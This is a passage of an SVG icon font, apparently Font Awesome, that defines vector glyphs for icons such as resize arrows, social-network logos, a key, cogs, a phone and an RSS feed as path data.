d="M1879 584q0 -31 -31 -66l-336 -396q-43 -51 -120.5 -86.5t-143.5 -35.5h-1088q-34 0 -60.5 13t-26.5 43q0 31 31 66l336 396q43 51 120.5 86.5t143.5 35.5h1088q34 0 60.5 -13t26.5 -43zM1536 928v-160h-832q-94 0 -197 -47.5t-164 -119.5l-337 -396l-5 -6q0 4 -0.5 12.5
t-0.5 12.5v960q0 92 66 158t158 66h320q92 0 158 -66t66 -158v-32h544q92 0 158 -66t66 -158z" />
    <glyph glyph-name="resize_vertical" unicode="&#xf07d;" horiz-adv-x="768" 
d="M704 1216q0 -26 -19 -45t-45 -19h-128v-1024h128q26 0 45 -19t19 -45t-19 -45l-256 -256q-19 -19 -45 -19t-45 19l-256 256q-19 19 -19 45t19 45t45 19h128v1024h-128q-26 0 -45 19t-19 45t19 45l256 256q19 19 45 19t45 -19l256 -256q19 -19 19 -45z" />
    <glyph glyph-name="resize_horizontal" unicode="&#xf07e;" horiz-adv-x="1792" 
d="M1792 640q0 -26 -19 -45l-256 -256q-19 -19 -45 -19t-45 19t-19 45v128h-1024v-128q0 -26 -19 -45t-45 -19t-45 19l-256 256q-19 19 -19 45t19 45l256 256q19 19 45 19t45 -19t19 -45v-128h1024v128q0 26 19 45t45 19t45 -19l256 -256q19 -19 19 -45z" />
    <glyph glyph-name="bar_chart" unicode="&#xf080;" horiz-adv-x="2048" 
d="M640 640v-512h-256v512h256zM1024 1152v-1024h-256v1024h256zM2048 0v-128h-2048v1536h128v-1408h1920zM1408 896v-768h-256v768h256zM1792 1280v-1152h-256v1152h256z" />
    <glyph glyph-name="twitter_sign" unicode="&#xf081;" 
d="M1280 926q-56 -25 -121 -34q68 40 93 117q-65 -38 -134 -51q-61 66 -153 66q-87 0 -148.5 -61.5t-61.5 -148.5q0 -29 5 -48q-129 7 -242 65t-192 155q-29 -50 -29 -106q0 -114 91 -175q-47 1 -100 26v-2q0 -75 50 -133.5t123 -72.5q-29 -8 -51 -8q-13 0 -39 4
q21 -63 74.5 -104t121.5 -42q-116 -90 -261 -90q-26 0 -50 3q148 -94 322 -94q112 0 210 35.5t168 95t120.5 137t75 162t24.5 168.5q0 18 -1 27q63 45 105 109zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5
t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="facebook_sign" unicode="&#xf082;" 
d="M1248 1408q119 0 203.5 -84.5t84.5 -203.5v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-188v595h199l30 232h-229v148q0 56 23.5 84t91.5 28l122 1v207q-63 9 -178 9q-136 0 -217.5 -80t-81.5 -226v-171h-200v-232h200v-595h-532q-119 0 -203.5 84.5t-84.5 203.5v960
q0 119 84.5 203.5t203.5 84.5h960z" />
    <glyph glyph-name="camera_retro" unicode="&#xf083;" horiz-adv-x="1792" 
d="M928 704q0 14 -9 23t-23 9q-66 0 -113 -47t-47 -113q0 -14 9 -23t23 -9t23 9t9 23q0 40 28 68t68 28q14 0 23 9t9 23zM1152 574q0 -106 -75 -181t-181 -75t-181 75t-75 181t75 181t181 75t181 -75t75 -181zM128 0h1536v128h-1536v-128zM1280 574q0 159 -112.5 271.5
t-271.5 112.5t-271.5 -112.5t-112.5 -271.5t112.5 -271.5t271.5 -112.5t271.5 112.5t112.5 271.5zM256 1216h384v128h-384v-128zM128 1024h1536v118v138h-828l-64 -128h-644v-128zM1792 1280v-1280q0 -53 -37.5 -90.5t-90.5 -37.5h-1536q-53 0 -90.5 37.5t-37.5 90.5v1280
q0 53 37.5 90.5t90.5 37.5h1536q53 0 90.5 -37.5t37.5 -90.5z" />
    <glyph glyph-name="key" unicode="&#xf084;" horiz-adv-x="1792" 
d="M832 1024q0 80 -56 136t-136 56t-136 -56t-56 -136q0 -42 19 -83q-41 19 -83 19q-80 0 -136 -56t-56 -136t56 -136t136 -56t136 56t56 136q0 42 -19 83q41 -19 83 -19q80 0 136 56t56 136zM1683 320q0 -17 -49 -66t-66 -49q-9 0 -28.5 16t-36.5 33t-38.5 40t-24.5 26
l-96 -96l220 -220q28 -28 28 -68q0 -42 -39 -81t-81 -39q-40 0 -68 28l-671 671q-176 -131 -365 -131q-163 0 -265.5 102.5t-102.5 265.5q0 160 95 313t248 248t313 95q163 0 265.5 -102.5t102.5 -265.5q0 -189 -131 -365l355 -355l96 96q-3 3 -26 24.5t-40 38.5t-33 36.5
t-16 28.5q0 17 49 66t66 49q13 0 23 -10q6 -6 46 -44.5t82 -79.5t86.5 -86t73 -78t28.5 -41z" />
    <glyph glyph-name="cogs" unicode="&#xf085;" horiz-adv-x="1920" 
d="M896 640q0 106 -75 181t-181 75t-181 -75t-75 -181t75 -181t181 -75t181 75t75 181zM1664 128q0 52 -38 90t-90 38t-90 -38t-38 -90q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1664 1152q0 52 -38 90t-90 38t-90 -38t-38 -90q0 -53 37.5 -90.5t90.5 -37.5
t90.5 37.5t37.5 90.5zM1280 731v-185q0 -10 -7 -19.5t-16 -10.5l-155 -24q-11 -35 -32 -76q34 -48 90 -115q7 -11 7 -20q0 -12 -7 -19q-23 -30 -82.5 -89.5t-78.5 -59.5q-11 0 -21 7l-115 90q-37 -19 -77 -31q-11 -108 -23 -155q-7 -24 -30 -24h-186q-11 0 -20 7.5t-10 17.5
l-23 153q-34 10 -75 31l-118 -89q-7 -7 -20 -7q-11 0 -21 8q-144 133 -144 160q0 9 7 19q10 14 41 53t47 61q-23 44 -35 82l-152 24q-10 1 -17 9.5t-7 19.5v185q0 10 7 19.5t16 10.5l155 24q11 35 32 76q-34 48 -90 115q-7 11 -7 20q0 12 7 20q22 30 82 89t79 59q11 0 21 -7
l115 -90q34 18 77 32q11 108 23 154q7 24 30 24h186q11 0 20 -7.5t10 -17.5l23 -153q34 -10 75 -31l118 89q8 7 20 7q11 0 21 -8q144 -133 144 -160q0 -8 -7 -19q-12 -16 -42 -54t-45 -60q23 -48 34 -82l152 -23q10 -2 17 -10.5t7 -19.5zM1920 198v-140q0 -16 -149 -31
q-12 -27 -30 -52q51 -113 51 -138q0 -4 -4 -7q-122 -71 -124 -71q-8 0 -46 47t-52 68q-20 -2 -30 -2t-30 2q-14 -21 -52 -68t-46 -47q-2 0 -124 71q-4 3 -4 7q0 25 51 138q-18 25 -30 52q-149 15 -149 31v140q0 16 149 31q13 29 30 52q-51 113 -51 138q0 4 4 7q4 2 35 20
t59 34t30 16q8 0 46 -46.5t52 -67.5q20 2 30 2t30 -2q51 71 92 112l6 2q4 0 124 -70q4 -3 4 -7q0 -25 -51 -138q17 -23 30 -52q149 -15 149 -31zM1920 1222v-140q0 -16 -149 -31q-12 -27 -30 -52q51 -113 51 -138q0 -4 -4 -7q-122 -71 -124 -71q-8 0 -46 47t-52 68
q-20 -2 -30 -2t-30 2q-14 -21 -52 -68t-46 -47q-2 0 -124 71q-4 3 -4 7q0 25 51 138q-18 25 -30 52q-149 15 -149 31v140q0 16 149 31q13 29 30 52q-51 113 -51 138q0 4 4 7q4 2 35 20t59 34t30 16q8 0 46 -46.5t52 -67.5q20 2 30 2t30 -2q51 71 92 112l6 2q4 0 124 -70
q4 -3 4 -7q0 -25 -51 -138q17 -23 30 -52q149 -15 149 -31z" />
    <glyph glyph-name="comments" unicode="&#xf086;" horiz-adv-x="1792" 
d="M1408 768q0 -139 -94 -257t-256.5 -186.5t-353.5 -68.5q-86 0 -176 16q-124 -88 -278 -128q-36 -9 -86 -16h-3q-11 0 -20.5 8t-11.5 21q-1 3 -1 6.5t0.5 6.5t2 6l2.5 5t3.5 5.5t4 5t4.5 5t4 4.5q5 6 23 25t26 29.5t22.5 29t25 38.5t20.5 44q-124 72 -195 177t-71 224
q0 139 94 257t256.5 186.5t353.5 68.5t353.5 -68.5t256.5 -186.5t94 -257zM1792 512q0 -120 -71 -224.5t-195 -176.5q10 -24 20.5 -44t25 -38.5t22.5 -29t26 -29.5t23 -25q1 -1 4 -4.5t4.5 -5t4 -5t3.5 -5.5l2.5 -5t2 -6t0.5 -6.5t-1 -6.5q-3 -14 -13 -22t-22 -7
q-50 7 -86 16q-154 40 -278 128q-90 -16 -176 -16q-271 0 -472 132q58 -4 88 -4q161 0 309 45t264 129q125 92 192 212t67 254q0 77 -23 152q129 -71 204 -178t75 -230z" />
    <glyph glyph-name="thumbs_up_alt" unicode="&#xf087;" 
d="M256 192q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1408 768q0 51 -39 89.5t-89 38.5h-352q0 58 48 159.5t48 160.5q0 98 -32 145t-128 47q-26 -26 -38 -85t-30.5 -125.5t-59.5 -109.5q-22 -23 -77 -91q-4 -5 -23 -30t-31.5 -41t-34.5 -42.5
t-40 -44t-38.5 -35.5t-40 -27t-35.5 -9h-32v-640h32q13 0 31.5 -3t33 -6.5t38 -11t35 -11.5t35.5 -12.5t29 -10.5q211 -73 342 -73h121q192 0 192 167q0 26 -5 56q30 16 47.5 52.5t17.5 73.5t-18 69q53 50 53 119q0 25 -10 55.5t-25 47.5q32 1 53.5 47t21.5 81zM1536 769
q0 -89 -49 -163q9 -33 9 -69q0 -77 -38 -144q3 -21 3 -43q0 -101 -60 -178q1 -139 -85 -219.5t-227 -80.5h-36h-93q-96 0 -189.5 22.5t-216.5 65.5q-116 40 -138 40h-288q-53 0 -90.5 37.5t-37.5 90.5v640q0 53 37.5 90.5t90.5 37.5h274q36 24 137 155q58 75 107 128
q24 25 35.5 85.5t30.5 126.5t62 108q39 37 90 37q84 0 151 -32.5t102 -101.5t35 -186q0 -93 -48 -192h176q104 0 180 -76t76 -179z" />
    <glyph glyph-name="thumbs_down_alt" unicode="&#xf088;" 
d="M256 1088q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1408 512q0 35 -21.5 81t-53.5 47q15 17 25 47.5t10 55.5q0 69 -53 119q18 31 18 69q0 37 -17.5 73.5t-47.5 52.5q5 30 5 56q0 85 -49 126t-136 41h-128q-131 0 -342 -73q-5 -2 -29 -10.5
t-35.5 -12.5t-35 -11.5t-38 -11t-33 -6.5t-31.5 -3h-32v-640h32q16 0 35.5 -9t40 -27t38.5 -35.5t40 -44t34.5 -42.5t31.5 -41t23 -30q55 -68 77 -91q41 -43 59.5 -109.5t30.5 -125.5t38 -85q96 0 128 47t32 145q0 59 -48 160.5t-48 159.5h352q50 0 89 38.5t39 89.5z
M1536 511q0 -103 -76 -179t-180 -76h-176q48 -99 48 -192q0 -118 -35 -186q-35 -69 -102 -101.5t-151 -32.5q-51 0 -90 37q-34 33 -54 82t-25.5 90.5t-17.5 84.5t-31 64q-48 50 -107 127q-101 131 -137 155h-274q-53 0 -90.5 37.5t-37.5 90.5v640q0 53 37.5 90.5t90.5 37.5
h288q22 0 138 40q128 44 223 66t200 22h112q140 0 226.5 -79t85.5 -216v-5q60 -77 60 -178q0 -22 -3 -43q38 -67 38 -144q0 -36 -9 -69q49 -73 49 -163z" />
    <glyph glyph-name="star_half" unicode="&#xf089;" horiz-adv-x="896" 
d="M832 1504v-1339l-449 -236q-22 -12 -40 -12q-21 0 -31.5 14.5t-10.5 35.5q0 6 2 20l86 500l-364 354q-25 27 -25 48q0 37 56 46l502 73l225 455q19 41 49 41z" />
    <glyph glyph-name="heart_empty" unicode="&#xf08a;" horiz-adv-x="1792" 
d="M1664 940q0 81 -21.5 143t-55 98.5t-81.5 59.5t-94 31t-98 8t-112 -25.5t-110.5 -64t-86.5 -72t-60 -61.5q-18 -22 -49 -22t-49 22q-24 28 -60 61.5t-86.5 72t-110.5 64t-112 25.5t-98 -8t-94 -31t-81.5 -59.5t-55 -98.5t-21.5 -143q0 -168 187 -355l581 -560l580 559
q188 188 188 356zM1792 940q0 -221 -229 -450l-623 -600q-18 -18 -44 -18t-44 18l-624 602q-10 8 -27.5 26t-55.5 65.5t-68 97.5t-53.5 121t-23.5 138q0 220 127 344t351 124q62 0 126.5 -21.5t120 -58t95.5 -68.5t76 -68q36 36 76 68t95.5 68.5t120 58t126.5 21.5
q224 0 351 -124t127 -344z" />
    <glyph glyph-name="signout" unicode="&#xf08b;" horiz-adv-x="1664" 
d="M640 96q0 -4 1 -20t0.5 -26.5t-3 -23.5t-10 -19.5t-20.5 -6.5h-320q-119 0 -203.5 84.5t-84.5 203.5v704q0 119 84.5 203.5t203.5 84.5h320q13 0 22.5 -9.5t9.5 -22.5q0 -4 1 -20t0.5 -26.5t-3 -23.5t-10 -19.5t-20.5 -6.5h-320q-66 0 -113 -47t-47 -113v-704
q0 -66 47 -113t113 -47h288h11h13t11.5 -1t11.5 -3t8 -5.5t7 -9t2 -13.5zM1568 640q0 -26 -19 -45l-544 -544q-19 -19 -45 -19t-45 19t-19 45v288h-448q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h448v288q0 26 19 45t45 19t45 -19l544 -544q19 -19 19 -45z" />
    <glyph glyph-name="linkedin_sign" unicode="&#xf08c;" 
d="M237 122h231v694h-231v-694zM483 1030q-1 52 -36 86t-93 34t-94.5 -34t-36.5 -86q0 -51 35.5 -85.5t92.5 -34.5h1q59 0 95 34.5t36 85.5zM1068 122h231v398q0 154 -73 233t-193 79q-136 0 -209 -117h2v101h-231q3 -66 0 -694h231v388q0 38 7 56q15 35 45 59.5t74 24.5
q116 0 116 -157v-371zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="pushpin" unicode="&#xf08d;" horiz-adv-x="1152" 
d="M480 672v448q0 14 -9 23t-23 9t-23 -9t-9 -23v-448q0 -14 9 -23t23 -9t23 9t9 23zM1152 320q0 -26 -19 -45t-45 -19h-429l-51 -483q-2 -12 -10.5 -20.5t-20.5 -8.5h-1q-27 0 -32 27l-76 485h-404q-26 0 -45 19t-19 45q0 123 78.5 221.5t177.5 98.5v512q-52 0 -90 38
t-38 90t38 90t90 38h640q52 0 90 -38t38 -90t-38 -90t-90 -38v-512q99 0 177.5 -98.5t78.5 -221.5z" />
    <glyph glyph-name="external_link" unicode="&#xf08e;" horiz-adv-x="1792" 
d="M1408 608v-320q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h704q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-704q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832q66 0 113 47t47 113v320
q0 14 9 23t23 9h64q14 0 23 -9t9 -23zM1792 1472v-512q0 -26 -19 -45t-45 -19t-45 19l-176 176l-652 -652q-10 -10 -23 -10t-23 10l-114 114q-10 10 -10 23t10 23l652 652l-176 176q-19 19 -19 45t19 45t45 19h512q26 0 45 -19t19 -45z" />
    <glyph glyph-name="signin" unicode="&#xf090;" 
d="M1184 640q0 -26 -19 -45l-544 -544q-19 -19 -45 -19t-45 19t-19 45v288h-448q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h448v288q0 26 19 45t45 19t45 -19l544 -544q19 -19 19 -45zM1536 992v-704q0 -119 -84.5 -203.5t-203.5 -84.5h-320q-13 0 -22.5 9.5t-9.5 22.5
q0 4 -1 20t-0.5 26.5t3 23.5t10 19.5t20.5 6.5h320q66 0 113 47t47 113v704q0 66 -47 113t-113 47h-288h-11h-13t-11.5 1t-11.5 3t-8 5.5t-7 9t-2 13.5q0 4 -1 20t-0.5 26.5t3 23.5t10 19.5t20.5 6.5h320q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="trophy" unicode="&#xf091;" horiz-adv-x="1664" 
d="M458 653q-74 162 -74 371h-256v-96q0 -78 94.5 -162t235.5 -113zM1536 928v96h-256q0 -209 -74 -371q141 29 235.5 113t94.5 162zM1664 1056v-128q0 -71 -41.5 -143t-112 -130t-173 -97.5t-215.5 -44.5q-42 -54 -95 -95q-38 -34 -52.5 -72.5t-14.5 -89.5q0 -54 30.5 -91
t97.5 -37q75 0 133.5 -45.5t58.5 -114.5v-64q0 -14 -9 -23t-23 -9h-832q-14 0 -23 9t-9 23v64q0 69 58.5 114.5t133.5 45.5q67 0 97.5 37t30.5 91q0 51 -14.5 89.5t-52.5 72.5q-53 41 -95 95q-113 5 -215.5 44.5t-173 97.5t-112 130t-41.5 143v128q0 40 28 68t68 28h288v96
q0 66 47 113t113 47h576q66 0 113 -47t47 -113v-96h288q40 0 68 -28t28 -68z" />
    <glyph glyph-name="github_sign" unicode="&#xf092;" 
d="M519 336q4 6 -3 13q-9 7 -14 2q-4 -6 3 -13q9 -7 14 -2zM491 377q-5 7 -12 4q-6 -4 0 -12q7 -8 12 -5q6 4 0 13zM450 417q2 4 -5 8q-7 2 -8 -2q-3 -5 4 -8q8 -2 9 2zM471 394q2 1 1.5 4.5t-3.5 5.5q-6 7 -10 3t1 -11q6 -6 11 -2zM557 319q2 7 -9 11q-9 3 -13 -4
q-2 -7 9 -11q9 -3 13 4zM599 316q0 8 -12 8q-10 0 -10 -8t11 -8t11 8zM638 323q-2 7 -13 5t-9 -9q2 -8 12 -6t10 10zM1280 640q0 212 -150 362t-362 150t-362 -150t-150 -362q0 -167 98 -300.5t252 -185.5q18 -3 26.5 5t8.5 20q0 52 -1 95q-6 -1 -15.5 -2.5t-35.5 -2t-48 4
t-43.5 20t-29.5 41.5q-23 59 -57 74q-2 1 -4.5 3.5l-8 8t-7 9.5t4 7.5t19.5 3.5q6 0 15 -2t30 -15.5t33 -35.5q16 -28 37.5 -42t43.5 -14t38 3.5t30 9.5q7 47 33 69q-49 6 -86 18.5t-73 39t-55.5 76t-19.5 119.5q0 79 53 137q-24 62 5 136q19 6 54.5 -7.5t60.5 -29.5l26 -16
q58 17 128 17t128 -17q11 7 28.5 18t55.5 26t57 9q29 -74 5 -136q53 -58 53 -137q0 -57 -14 -100.5t-35.5 -70t-53.5 -44.5t-62.5 -26t-68.5 -12q35 -31 35 -95q0 -40 -0.5 -89t-0.5 -51q0 -12 8.5 -20t26.5 -5q154 52 252 185.5t98 300.5zM1536 1120v-960
q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="upload_alt" unicode="&#xf093;" horiz-adv-x="1664" 
d="M1280 64q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1536 64q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1664 288v-320q0 -40 -28 -68t-68 -28h-1472q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h427q21 -56 70.5 -92
t110.5 -36h256q61 0 110.5 36t70.5 92h427q40 0 68 -28t28 -68zM1339 936q-17 -40 -59 -40h-256v-448q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v448h-256q-42 0 -59 40q-17 39 14 69l448 448q18 19 45 19t45 -19l448 -448q31 -30 14 -69z" />
    <glyph glyph-name="lemon" unicode="&#xf094;" 
d="M1407 710q0 44 -7 113.5t-18 96.5q-12 30 -17 44t-9 36.5t-4 48.5q0 23 5 68.5t5 67.5q0 37 -10 55q-4 1 -13 1q-19 0 -58 -4.5t-59 -4.5q-60 0 -176 24t-175 24q-43 0 -94.5 -11.5t-85 -23.5t-89.5 -34q-137 -54 -202 -103q-96 -73 -159.5 -189.5t-88 -236t-24.5 -248.5
q0 -40 12.5 -120t12.5 -121q0 -23 -11 -66.5t-11 -65.5t12 -36.5t34 -14.5q24 0 72.5 11t73.5 11q57 0 169.5 -15.5t169.5 -15.5q181 0 284 36q129 45 235.5 152.5t166 245.5t59.5 275zM1535 712q0 -165 -70 -327.5t-196 -288t-281 -180.5q-124 -44 -326 -44
q-57 0 -170 14.5t-169 14.5q-24 0 -72.5 -14.5t-73.5 -14.5q-73 0 -123.5 55.5t-50.5 128.5q0 24 11 68t11 67q0 40 -12.5 120.5t-12.5 121.5q0 111 18 217.5t54.5 209.5t100.5 194t150 156q78 59 232 120q194 78 316 78q60 0 175.5 -24t173.5 -24q19 0 57 5t58 5
q81 0 118 -50.5t37 -134.5q0 -23 -5 -68t-5 -68q0 -13 2 -25t3.5 -16.5t7.5 -20.5t8 -20q16 -40 25 -118.5t9 -136.5z" />
    <glyph glyph-name="phone" unicode="&#xf095;" horiz-adv-x="1408" 
d="M1408 296q0 -27 -10 -70.5t-21 -68.5q-21 -50 -122 -106q-94 -51 -186 -51q-27 0 -53 3.5t-57.5 12.5t-47 14.5t-55.5 20.5t-49 18q-98 35 -175 83q-127 79 -264 216t-216 264q-48 77 -83 175q-3 9 -18 49t-20.5 55.5t-14.5 47t-12.5 57.5t-3.5 53q0 92 51 186
q56 101 106 122q25 11 68.5 21t70.5 10q14 0 21 -3q18 -6 53 -76q11 -19 30 -54t35 -63.5t31 -53.5q3 -4 17.5 -25t21.5 -35.5t7 -28.5q0 -20 -28.5 -50t-62 -55t-62 -53t-28.5 -46q0 -9 5 -22.5t8.5 -20.5t14 -24t11.5 -19q76 -137 174 -235t235 -174q2 -1 19 -11.5t24 -14
t20.5 -8.5t22.5 -5q18 0 46 28.5t53 62t55 62t50 28.5q14 0 28.5 -7t35.5 -21.5t25 -17.5q25 -15 53.5 -31t63.5 -35t54 -30q70 -35 76 -53q3 -7 3 -21z" />
    <glyph glyph-name="check_empty" unicode="&#xf096;" horiz-adv-x="1408" 
d="M1120 1280h-832q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832q66 0 113 47t47 113v832q0 66 -47 113t-113 47zM1408 1120v-832q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h832
q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="bookmark_empty" unicode="&#xf097;" horiz-adv-x="1280" 
d="M1152 1280h-1024v-1242l423 406l89 85l89 -85l423 -406v1242zM1164 1408q23 0 44 -9q33 -13 52.5 -41t19.5 -62v-1289q0 -34 -19.5 -62t-52.5 -41q-19 -8 -44 -8q-48 0 -83 32l-441 424l-441 -424q-36 -33 -83 -33q-23 0 -44 9q-33 13 -52.5 41t-19.5 62v1289
q0 34 19.5 62t52.5 41q21 9 44 9h1048z" />
    <glyph glyph-name="phone_sign" unicode="&#xf098;" 
d="M1280 343q0 11 -2 16t-18 16.5t-40.5 25t-47.5 26.5t-45.5 25t-28.5 15q-5 3 -19 13t-25 15t-21 5q-15 0 -36.5 -20.5t-39.5 -45t-38.5 -45t-33.5 -20.5q-7 0 -16.5 3.5t-15.5 6.5t-17 9.5t-14 8.5q-99 55 -170 126.5t-127 170.5q-2 3 -8.5 14t-9.5 17t-6.5 15.5
t-3.5 16.5q0 13 20.5 33.5t45 38.5t45 39.5t20.5 36.5q0 10 -5 21t-15 25t-13 19q-3 6 -15 28.5t-25 45.5t-26.5 47.5t-25 40.5t-16.5 18t-16 2q-48 0 -101 -22q-46 -21 -80 -94.5t-34 -130.5q0 -16 2.5 -34t5 -30.5t9 -33t10 -29.5t12.5 -33t11 -30q60 -164 216.5 -320.5
t320.5 -216.5q6 -2 30 -11t33 -12.5t29.5 -10t33 -9t30.5 -5t34 -2.5q57 0 130.5 34t94.5 80q22 53 22 101zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z
" />
    <glyph glyph-name="twitter" unicode="&#xf099;" horiz-adv-x="1664" 
d="M1620 1128q-67 -98 -162 -167q1 -14 1 -42q0 -130 -38 -259.5t-115.5 -248.5t-184.5 -210.5t-258 -146t-323 -54.5q-271 0 -496 145q35 -4 78 -4q225 0 401 138q-105 2 -188 64.5t-114 159.5q33 -5 61 -5q43 0 85 11q-112 23 -185.5 111.5t-73.5 205.5v4q68 -38 146 -41
q-66 44 -105 115t-39 154q0 88 44 163q121 -149 294.5 -238.5t371.5 -99.5q-8 38 -8 74q0 134 94.5 228.5t228.5 94.5q140 0 236 -102q109 21 205 78q-37 -115 -142 -178q93 10 186 50z" />
    <glyph glyph-name="facebook" unicode="&#xf09a;" horiz-adv-x="1024" 
d="M959 1524v-264h-157q-86 0 -116 -36t-30 -108v-189h293l-39 -296h-254v-759h-306v759h-255v296h255v218q0 186 104 288.5t277 102.5q147 0 228 -12z" />
    <glyph glyph-name="github" unicode="&#xf09b;" 
d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5q0 -251 -146.5 -451.5t-378.5 -277.5q-27 -5 -40 7t-13 30q0 3 0.5 76.5t0.5 134.5q0 97 -52 142q57 6 102.5 18t94 39t81 66.5t53 105t20.5 150.5q0 119 -79 206q37 91 -8 204q-28 9 -81 -11t-92 -44l-38 -24
q-93 26 -192 26t-192 -26q-16 11 -42.5 27t-83.5 38.5t-85 13.5q-45 -113 -8 -204q-79 -87 -79 -206q0 -85 20.5 -150t52.5 -105t80.5 -67t94 -39t102.5 -18q-39 -36 -49 -103q-21 -10 -45 -15t-57 -5t-65.5 21.5t-55.5 62.5q-19 32 -48.5 52t-49.5 24l-20 3q-21 0 -29 -4.5
t-5 -11.5t9 -14t13 -12l7 -5q22 -10 43.5 -38t31.5 -51l10 -23q13 -38 44 -61.5t67 -30t69.5 -7t55.5 3.5l23 4q0 -38 0.5 -88.5t0.5 -54.5q0 -18 -13 -30t-40 -7q-232 77 -378.5 277.5t-146.5 451.5q0 209 103 385.5t279.5 279.5t385.5 103zM291 305q3 7 -7 12
q-10 3 -13 -2q-3 -7 7 -12q9 -6 13 2zM322 271q7 5 -2 16q-10 9 -16 3q-7 -5 2 -16q10 -10 16 -3zM352 226q9 7 0 19q-8 13 -17 6q-9 -5 0 -18t17 -7zM394 184q8 8 -4 19q-12 12 -20 3q-9 -8 4 -19q12 -12 20 -3zM451 159q3 11 -13 16q-15 4 -19 -7t13 -15q15 -6 19 6z
M514 154q0 13 -17 11q-16 0 -16 -11q0 -13 17 -11q16 0 16 11zM572 164q-2 11 -18 9q-16 -3 -14 -15t18 -8t14 14z" />
    <glyph glyph-name="unlock" unicode="&#xf09c;" horiz-adv-x="1664" 
d="M1664 960v-256q0 -26 -19 -45t-45 -19h-64q-26 0 -45 19t-19 45v256q0 106 -75 181t-181 75t-181 -75t-75 -181v-192h96q40 0 68 -28t28 -68v-576q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v576q0 40 28 68t68 28h672v192q0 185 131.5 316.5t316.5 131.5
t316.5 -131.5t131.5 -316.5z" />
    <glyph glyph-name="credit_card" unicode="&#xf09d;" horiz-adv-x="1920" 
d="M1760 1408q66 0 113 -47t47 -113v-1216q0 -66 -47 -113t-113 -47h-1600q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1600zM160 1280q-13 0 -22.5 -9.5t-9.5 -22.5v-224h1664v224q0 13 -9.5 22.5t-22.5 9.5h-1600zM1760 0q13 0 22.5 9.5t9.5 22.5v608h-1664v-608
q0 -13 9.5 -22.5t22.5 -9.5h1600zM256 128v128h256v-128h-256zM640 128v128h384v-128h-384z" />
    <glyph glyph-name="rss" unicode="&#xf09e;" horiz-adv-x="1408" 
d="M384 192q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM896 69q2 -28 -17 -48q-18 -21 -47 -21h-135q-25 0 -43 16.5t-20 41.5q-22 229 -184.5 391.5t-391.5 184.5q-25 2 -41.5 20t-16.5 43v135q0 29 21 47q17 17 43 17h5q160 -13 306 -80.5
t259 -181.5q114 -113 181.5 -259t80.5 -306zM1408 67q2 -27 -18 -47q-18 -20 -46 -20h-143q-26 0 -44.5 17.5t-19.5 42.5q-12 215 -101 408.5t-231.5 336t-336 231.5t-408.5 102q-25 1 -42.5 19.5t-17.5 43.5v143q0 28 20 46q18 18 44 18h3q262 -13 501.5 -120t425.5 -294
q187 -186 294 -425.5t120 -501.5z" />
    <glyph glyph-name="hdd" unicode="&#xf0a0;" 
d="M1040 320q0 -33 -23.5 -56.5t-56.5 -23.5t-56.5 23.5t-23.5 56.5t23.5 56.5t56.5 23.5t56.5 -23.5t23.5 -56.5zM1296 320q0 -33 -23.5 -56.5t-56.5 -23.5t-56.5 23.5t-23.5 56.5t23.5 56.5t56.5 23.5t56.5 -23.5t23.5 -56.5zM1408 160v320q0 13 -9.5 22.5t-22.5 9.5
h-1216q-13 0 -22.5 -9.5t-9.5 -22.5v-320q0 -13 9.5 -22.5t22.5 -9.5h1216q13 0 22.5 9.5t9.5 22.5zM178 640h1180l-157 482q-4 13 -16 21.5t-26 8.5h-782q-14 0 -26 -8.5t-16 -21.5zM1536 480v-320q0 -66 -47 -113t-113 -47h-1216q-66 0 -113 47t-47 113v320q0 25 16 75
l197 606q17 53 63 86t101 33h782q55 0 101 -33t63 -86l197 -606q16 -50 16 -75z" />
    <glyph glyph-name="bullhorn" unicode="&#xf0a1;" horiz-adv-x="1792" 
d="M1664 896q53 0 90.5 -37.5t37.5 -90.5t-37.5 -90.5t-90.5 -37.5v-384q0 -52 -38 -90t-90 -38q-417 347 -812 380q-58 -19 -91 -66t-31 -100.5t40 -92.5q-20 -33 -23 -65.5t6 -58t33.5 -55t48 -50t61.5 -50.5q-29 -58 -111.5 -83t-168.5 -11.5t-132 55.5q-7 23 -29.5 87.5
